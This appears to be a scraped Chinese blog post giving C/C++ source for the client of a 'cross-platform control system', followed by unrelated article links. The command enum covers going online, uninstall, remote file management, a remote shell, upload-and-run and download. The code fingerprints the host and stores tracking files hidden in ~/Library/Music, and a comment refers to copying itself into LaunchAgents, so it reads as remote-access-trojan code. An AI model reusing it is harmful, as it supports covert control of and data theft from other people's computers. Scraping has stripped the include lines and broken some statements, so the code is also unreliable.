博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取
阅读量:6296 次
发布时间:2019-06-22

本文共 11370 字,大约阅读时间需要 37 分钟。

控制集成系统需要了解系统的各项硬件信息,之前我们设计的时候,习惯使用c函数来搞,后来可能发现程序的移植性收到了一些影响,比如unix内核的一些c函数在linux下面是没有的:

比如

 

苹果达尔文内核的如下东西,linux里面就没有:

 

 //kern_return_t kr;

    //host_name_port_t myhost;
   // kernel_version_t kversion;
   // host_basic_info_data_t hinfo;
   // mach_msg_type_number_t count;
    char            *cpu_type_name,*cpu_subtype_name;
   // vm_size_t  page_size;

   // myhost = mach_host_self();

   // kr = host_kernel_version(myhost, kversion);
   // count = HOST_BASIC_INFO_COUNT;
   // kr = host_info(myhost, HOST_BASIC_INFO, (host_info_t)&hinfo, &count);
   // kr = host_page_size(myhost, &page_size);                                               //

 

所以换一种思路我们考虑使用,shell命令获取信息,完后进行字符处理,这样即使换了系统,我们代码里面换换shell命令就可以了。

 

使用到的一些结构体跟宏定义:

 

 

//  Created by mac mac on 13-5-8.//  Copyright (c) 2013年 __MyCompanyName__. All rights reserved.//#ifndef mac_client_mac_h#define mac_client_mac_h/*1.注意中文标点,编译器不容易察觉2.server 和client端的宏定义大小要统一*//#define MAX_SIZE 1024#define MAX_NAME_LENGTH 64#define MAX_PATH 260            //保持和windows端定义的一样#define MAX_PATH_MAC 256       //苹果的最大长度#define FALSE 0#define TRUE 1#define MAX_SEND_BUFFER 1024*4#define MAX_RECV_BUFFER 1024*4/typedef struct Command //自定义命令结构体{    int order;//命令序号    long datasize;    void * hwnd;//窗口句柄    }Command; typedef struct Server_Address //服务器地址{        char strIP[3][MAX_PATH];//服务器ip    unsigned int uPort[3] ; //服务器端口    char remark[MAX_NAME_LENGTH];}Server_Address;typedef struct _SYS_INFO //到时候得增加备注{    Command         cmd;    char            remark[MAX_NAME_LENGTH];            //备注    char            computer_name[MAX_NAME_LENGTH];     //    char            user_name[MAX_NAME_LENGTH];         //    char            sys_version[MAX_NAME_LENGTH];       //    char            cpu_type[MAX_NAME_LENGTH];          //    char            host_ip_address[MAX_NAME_LENGTH];   //内网ip    char            ip_addresss[MAX_NAME_LENGTH];       //外网ip    char            uuid[MAX_NAME_LENGTH];             //被控端的唯一标识        unsigned int    cpu_num;                            //    unsigned int    mem_total;                          //    int             host_id;                            //}SYS_INFO;enum {    COMMAND_BIGIN = 20000,     //命令开始    TOKEN_ONLINE,              //上线命令    COMMAND_BREAK,             //断开链接    COMMAND_UNINSTALL,         //卸载     COMMAND_MODIFY_REMARK,     //修改备注///    COMMAND_MANAGER_FILE,           //打开文件管理窗口    COMMAND_GET_DIRECTORY,          //获取控制端主机根目录下所有文件信息     COMMAND_GET_REQUEST_DIRECTORY,  //获取双击请求目录中所有文件信息    COMMAND_SEARCH_FILE,            //文件搜索,还没做    COMMAND_WRONG_DIRECTORY,        //目录为空或者不可读    COMMAND_DELETE_FILE,            //删除文件    COMMAND_FILE_CLOSE,             //关闭当前文件管理功能的链接//        COMMAND_MANAGER_CMD,    //打开cmd管理窗口    TOKEN_CMD_NEXT,         //等待下一个命令    COMMAND_SHELL,          //控制端请求的shell命令    COMMAND_SHELL_CLOSE,    //关闭shell//     COMMAND_MANAGER_DOWNLOAD,   //打开文件下载功能    TOKEN_DOWNLOAD_SETUP,   //控制端发送文件下载连接和uuid    COMMAND_GET_FILEDATA,   //请求文件数据    TOKEN_SENT_FILEDATA,    //发送文件数据    TOKEN_CANT_GET_DATA,    //给控制端发送消息文件不可读    COMMAND_MANAGER_UPLOAD,     //开启文件上传    TOKEN_UPLOAD_SETUP,         //接受文件上传连接    COMMAND_SENT_UPLOAD_DATA,   //发送上传文件数据    TOKEN_UPLOAD_DATA,          //请求上传文件数据    TOKEN_UPLOAD_COMPLETE,      //文件上传完成    COMMAND_RUN_PROGARM,        //上传运行的文件        COMMAND_UPLOAD_CLOSE,      //关闭上传进程和连接         };#endif

 

 

下面是代码:

Systeminfo.h

 

/* * File:   System_Info.h * Author: Administrator * * Created on */#ifndef SYSTEM_INFO_H#define	SYSTEM_INFO_H#include 
#include
#include
#include
// for sockaddr_in#include
// for socket#include
// for socket#include
// for printf#include
// for exit#include
#include
//for th/Users/twd/Desktop/NewPc/mainread#include
//for bool#include
//for utf-8 gb2312#include
#include
#include
//for dir#include
#include
#include
//honts, inet_addr#include
//isdigit#include
//errno#include
//OWRONLY#include
#include
//for username//#include
//#include
#include
#include
#include "mac.h"//#include
#include
using namespace std;int GetDeviceInfo(SYS_INFO * si);//声明一下,传递一个结构体到引用void writeBeizhuInfo(char *beizhu);//写备份文件char * readUuidInfo(SYS_INFO* si);//读取生成的uuidchar * readUuid();void writeUuidInfo_info();bool GetHost(char *domainName,char * ip);char * readDirectory(char * directory);//上传文件的目录int myexec(const char *cmd, string &resvec);//管道运行命令,得到一些系统信息#endif /* SYSTEM_INFO_H */

实现:

////  SystemInfo.cpp//  mac_client////  Created by mac mac on 13-5-21.//  Copyright (c) 2013年 __MyCompanyName__. All rights reserved.////#ifdef	__cplusplus//extern "C" {//#endif//#include 
#include "SystemInfo.h"#include
int beizhuaccess = 0; //标志位,备注有没有改变bool GetHost(char *domainName,char * ip){ int i; struct hostent *he; struct in_addr **addr_list; //char * name = "www.csdn.net"; if ((he = gethostbyname(domainName)) == NULL) { // get the host info herror("gethostbyname"); return NULL; } // print information about this host: printf("Official name is: %s\n", he->h_name); printf(" IP addresses: "); addr_list = (struct in_addr **)he->h_addr_list; for(i = 0; addr_list[i] != NULL; i++) { printf("%s ", inet_ntoa(*addr_list[i])); sprintf(ip, "%s",inet_ntoa(*addr_list[i])); } ///return printf("\n"); return ip;}void get_ip(SYS_INFO* si){ //char hname[128]; struct hostent *hent; int i; gethostname(si->host_ip_address, sizeof(si->host_ip_address)); //hent = gethostent(); hent = gethostbyname(si->host_ip_address); printf("hostname: %s/naddress list: ", hent->h_name); for(i = 0; hent->h_addr_list[i]; i++) { printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i]))); memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address)); printf("%s\n",si->host_ip_address); }}char * readDirectory(char * directory){ char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd; pwd = getpwuid(getuid()); login_name = pwd->pw_name; //获取当前用户名 //char path[MAX_NAME_LENGTH]; sprintf(directory,"/Users/%s/Library/Music",login_name);//创建的路径 //sprintf(directory,zhuliuPath,login_name); return directory;}char * readUuid(){ char path[MAX_PATH] = {0}; char *uuid = (char *)malloc(MAX_PATH_MAC); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd; pwd = getpwuid(getuid()); login_name = pwd->pw_name; //获取当前用户名 sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径 //sprintf(path,zhuliuPath,login_name); strcat(path, "/uuid.lol"); //if (access(path,0)==0) //{ FILE *fp = fopen(path, "r"); fgets(uuid,MAX_NAME_LENGTH,fp); fclose(fp); return uuid;}char * readUuidInfo(SYS_INFO* si){ char path[MAX_PATH] = {0}; char *uuid = (char *)malloc(MAX_PATH_MAC); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd; pwd = getpwuid(getuid()); login_name = pwd->pw_name; //获取当前用户名// sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径 //sprintf(path,zhuliuPath,login_name); strcat(path, "/uuid.lol"); FILE *fp = fopen(path, "r"); fgets(uuid,MAX_NAME_LENGTH,fp); fclose(fp); strcat(si->uuid, uuid); return uuid;}void writeBeizhuInfo(char *beizhu){ char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd; pwd = getpwuid(getuid()); login_name = pwd->pw_name; //获取当前用户名 char path[MAX_PATH] = {0}; sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径 //sprintf(path,zhuliuPath,login_name); strcat(path, "/beizhu.lol"); //if (access(path,0)==0) //{ FILE *fp = fopen(path, "w"); fputs(beizhu,fp); //strcpy(si->remark, beizhu); //} fclose(fp);}int myexec(const char *cmd, string &resvec) { resvec.clear(); FILE *pp = popen(cmd, "r"); //建立管道 if (!pp) { return -1; } char tmp[1024]; //设置一个合适的长度,以存储每一行输出 while (fgets(tmp, sizeof(tmp), pp) != NULL) { if (tmp[strlen(tmp) - 1] == '\n') { tmp[strlen(tmp) - 1] = '\0'; //去除换行符 } resvec.append(tmp); } pclose(pp); //关闭管道 return resvec.size();}void writeUuidInfo_info(){ FILE *fp = popen("uuidgen", "r");//打开管道,执行命令,生成uuid char buffer[MAX_NAME_LENGTH] = {0}; while (NULL != fgets(buffer, MAX_NAME_LENGTH, fp)) //逐行读取执行结果并打印 { printf(buffer); } //fclose(fp); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd; pwd = getpwuid(getuid()); login_name = pwd->pw_name; //获取当前用户名 char path[MAX_PATH] = {0}; sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径 //sprintf(path,zhuliuPath,login_name); //* // int IsHave=mkdir(path,S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH);//创建LaunchAgents文件夹,把自身拷贝进去 // if(IsHave<0)//创建新目录 //{ // printf("mkdir failed\n"); // exit(0); // } string str_mkdir = "mkdir -p "; str_mkdir.append(path); string str_mkdir_result; myexec(str_mkdir.c_str(),str_mkdir_result); strcat(path, "/uuid.lol"); FILE *fpf = fopen(path, "w"); int i = fputs(buffer,fpf); fclose(fpf); pclose(fp);}int GetDeviceInfo(SYS_INFO *si){ char temp[64]={0}; gethostname(si->computer_name,sizeof(si->computer_name)); struct passwd *passwd; passwd = getpwuid (getuid()); struct group *group; group = getgrgid (passwd->pw_gid); sprintf(si->user_name,"%s-%s",group->gr_name,passwd->pw_name); string str_kernel; myexec("uname -sr",str_kernel); cout<
<
sys_version,str_kernel.c_str()); string str_cpu; myexec("grep \"model name\" /proc/cpuinfo | cut -f2 -d:|head -1",str_cpu); cout<
<
cpu_type,str_cpu.c_str()); puts(si->computer_name); struct hostent *hent; int i; gethostname(si->host_ip_address, sizeof(si->host_ip_address)); hent = gethostent(); //hent = gethostbyname(si->host_ip_address); printf("hostname: %s/naddress list: ", hent->h_name); for(i = 0; hent->h_addr_list[i]; i++) { printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i]))); memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address)); } printf("%s\n",si->host_ip_address); string str_mem_total; myexec("free -m |grep \"Mem\" | awk \'{print $2}\'",str_mem_total); cout<
<
mem_total = atoi(str_mem_total.c_str()); // strcat(si->cpu_type,str_cpu.c_str()); printf("%s\n",si->user_name); printf("%s\n",si->sys_version); printf("%s\n",si->cpu_type); printf("cpu:%d\n",si->cpu_num); printf("memory:%d\n",si->mem_total);///读备注文件// char path[MAX_PATH] = {0}; char beizhu[MAX_PATH_MAC] = {0}; sprintf(path,"/Users/%s/Library/Music",passwd->pw_name);//创建的路径 //sprintf(path,zhuliuPath,passwd->pw_name); strcat(path, "/beizhu.lol"); if (access(path,0)==0) { FILE *fp = fopen(path, "r"); fgets(beizhu,MAX_NAME_LENGTH,fp); fclose(fp); beizhuaccess = 1; strcpy(si->remark, beizhu); } else { strcpy(si->remark, "default"); }///读取uuid char uuidPath[MAX_PATH] = {0}; sprintf(uuidPath,"/Users/%s/Library/Music",passwd->pw_name); strcat(uuidPath, "/uuid.lol"); if (access(uuidPath,0)==0) { readUuidInfo(si); } else { writeUuidInfo_info(); readUuidInfo(si); }/ return 0;}//#ifdef __cplusplus//}//#endif

 

 

搭建传输的socket平台参考下面博文:

 

 

 

实现效果:

 

 

你可能感兴趣的文章
Mono for Android 优势与劣势
查看>>
将图片转成base64字符串并在JSP页面显示的Java代码
查看>>
js 面试题
查看>>
sqoop数据迁移(基于Hadoop和关系数据库服务器之间传送数据)
查看>>
腾讯云下安装 nodejs + 实现 Nginx 反向代理
查看>>
Javascript 中的 Array 操作
查看>>
java中包容易出现的错误及权限问题
查看>>
AngularJS之初级Route【一】(六)
查看>>
服务器硬件问题整理的一点总结
查看>>
SAP S/4HANA Cloud: Revolutionizing the Next Generation of Cloud ERP
查看>>
Mellanox公司计划利用系统芯片提升存储产品速度
查看>>
白帽子守护网络安全,高薪酬成大学生就业首选!
查看>>
ARM想将芯片装进人类大脑 降低能耗是一大挑战
查看>>
Oracle数据库的备份方法
查看>>
Selenium 自动登录考勤系统
查看>>
关于如何以编程的方式执行TestNG
查看>>
智能照明造福千家万户 家居智能不再是梦
查看>>
物联网如何跳出“看起来很美”?
查看>>
浅谈MySQL 数据库性能优化
查看>>
《UNIX/Linux 系统管理技术手册(第四版)》——1.10 其他的权威文档
查看>>